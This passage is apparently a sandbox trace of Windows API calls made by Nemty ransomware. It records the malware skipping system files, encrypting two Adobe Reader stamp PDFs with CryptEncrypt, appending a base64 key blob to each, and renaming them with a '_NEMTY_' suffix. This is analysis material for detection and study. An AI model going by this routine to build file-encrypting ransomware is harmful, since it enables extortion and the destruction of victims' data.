(lpString1="..", lpString2="..") returned 0 [0189.578] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0189.578] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.579] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0189.579] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0189.579] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0189.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0189.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.579] Sleep (dwMilliseconds=0x5) [0189.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24a84c70, dwHighDateTime=0x1d561e8)) [0189.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24a84c70, dwHighDateTime=0x1d561e8)) [0189.614] GetLastError () returned 0xb7 [0189.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.615] GetLastError () returned 0xb7 [0189.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.615] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.615] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.615] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.615] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="uMU7ayeTm9JSXgTtd+ESZKXLNU2SryfzZX3p5g6ukztGMGanDkwJC9ttM5w9NevK\r\nL/++vYEspeb5YmbhC+GOnjTH6BufuiyzLvkPVOJH+3bD+O9ebpg5+IzMjQfoXir/\r\nJaDZFKjCodlvOJZfkyv9byNBDd75arB3/C+emDt/EsQc4nLBWNLZiOD9TAa9ycCG\r\nTVlbsn9ETKvKTy4KJt4G+GmBiYmjxB/IMrrb0Q8NvO/RocdMNFACbmTqhdVQ9+Vg\r\nN755VmpFBHN3O75m+9oyJyCvta6zE+qixCgqIT86RMPiTVkyn66MHmz+ugRzU4wO\r\n7Bxv9EvpH2kfsb0CcT1NGA==\r\n", pcchString=0x653df5c) returned 1 [0189.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.615] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.616] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=43101) returned 1 [0189.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa850) returned 0x6352c48 [0189.616] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.616] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa850, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xa850, lpOverlapped=0x0) returned 1 [0189.621] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.621] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa850, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xa850, lpOverlapped=0x0) returned 1 [0189.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.621] SetFilePointer (in: hFile=0x320, lDistanceToMove=43101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa85d [0189.621] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.621] CloseHandle (hObject=0x320) returned 1 [0189.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.622] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0189.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.623] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned -1 [0189.623] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0189.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.624] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0189.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.624] Sleep (dwMilliseconds=0x5) [0189.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24ad0f30, dwHighDateTime=0x1d561e8)) [0189.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24ad0f30, dwHighDateTime=0x1d561e8)) [0189.638] GetLastError () returned 0x0 [0189.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.638] GetLastError () returned 0x0 [0189.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.638] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.638] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.639] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.639] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="wfgpUyEPk+duVG9HVqAlSers5nfgckq1hNDjyp5RAChDznKnJcVmA/Dq2OhLbY0L\r\nSlyCQzAFhbWDOnIi6o37eFRu0LRmUum17iIEBiYVHvFXVgGQg8oTzcjMZJZFggFz\r\nL5AH0mnLYigWSvDxkoWQeB9LaWcm1mtexocXU4UdH3PNXXjBth5UY96qP4krQt46\r\nDWQm2Ugf7ug2U1X/KfZSyi01qnaYvrQDelIu4+6sFPmbqZNHCZCIOmBbi2/1bU8C\r\nqE+mci44Hhvl9f8twks1+8iBrlsNs0nHKfbOdrWsFSI6yMiN1mEWxYsdY3Ok9S59\r\njNboTKBqqBLDvOB/C8vHwA==\r\n", pcchString=0x653df5c) returned 1 [0189.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.639] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.639] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=33013) returned 1 [0189.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80f0) returned 0x6352c48 [0189.639] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.639] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x80f0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x80f0, lpOverlapped=0x0) returned 1 [0189.643] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.643] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x80f0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x80f0, lpOverlapped=0x0) returned 1 [0189.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.644] SetFilePointer (in: hFile=0x320, lDistanceToMove=33013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80f5 [0189.644] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.644] CloseHandle (hObject=0x320) returned 1 [0189.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.644] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf._NEMTY_kGOBjgD_" (normalized: 